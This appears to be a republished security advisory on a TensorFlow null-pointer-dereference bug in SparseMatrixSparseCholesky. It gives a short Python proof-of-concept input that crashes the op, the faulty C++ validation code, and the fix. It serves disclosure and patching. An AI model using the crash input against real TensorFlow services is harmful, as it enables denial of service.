Security update has been released for tensorflow,tensorflow-cpu,tensorflow-gpu to fix the vulnerability.

Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.

An attacker can trigger a null pointer dereference by providing an invalid `permutation` to `tf.raw_ops.SparseMatrixSparseCholesky`:

```python
import tensorflow as tf
import numpy as np
from tensorflow.python.ops.linalg.sparse import sparse_csr_matrix_ops

indices_array = np.array([[0, 0]])
value_array = np.array([-10.0], dtype=np.float32)
dense_shape = [1, 1]
st = tf.SparseTensor(indices_array, value_array, dense_shape)

input = sparse_csr_matrix_ops.sparse_tensor_to_csr_sparse_matrix(
st.indices, st.values, st.dense_shape)

permutation = tf.constant([], shape=[1, 0], dtype=tf.int32)

tf.raw_ops.SparseMatrixSparseCholesky(input=input, permutation=permutation, type=tf.float32)
```

This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/080f1d9e257589f78b3ffb75debf584168aa6062/tensorflow/core/kernels/sparse/sparse_cholesky_op.cc#L85-L86) fails to properly validate the input arguments:

```cc
void Compute(OpKernelContext* ctx) final {
...
const Tensor& input_permutation_indices = ctx->input(1);
...
ValidateInputs(ctx, *input_matrix, input_permutation_indices, &batch_size, &num_rows);
...
}

void ValidateInputs(OpKernelContext* ctx,
const CSRSparseMatrix& sparse_matrix,
const Tensor& permutation_indices, int* batch_size,
int64* num_rows) {
OP_REQUIRES(ctx, sparse_matrix.dtype() == DataTypeToEnum<T>::value, ...)
...
}
```
Although `ValidateInputs` is called and there are checks in the body of this function, the code proceeds to the next line in `ValidateInputs` since [`OP_REQUIRES`](https://github.com/tensorflow/tensorflow/blob/080f1d9e257589f78b3ffb75debf584168aa6062/tensorflow/core/framework/op_requires.h#L41-L48) is a macro that only exits the current function.

```cc
#define OP_REQUIRES(CTX, EXP, STATUS) \
do { \
if (!TF_PREDICT_TRUE(EXP)) { \
CheckNotInComputeAsync((CTX), "OP_REQUIRES_ASYNC"); \
(CTX)->CtxFailure(__FILE__, __LINE__, (STATUS)); \
return; \
} \
} while (0)
```

Thus, the first validation condition that fails in `ValidateInputs` will cause an early return from that function. However, the caller will continue execution from the next line. The fix is to either explicitly check `context->status()` or to convert `ValidateInputs` to return a `Status`.
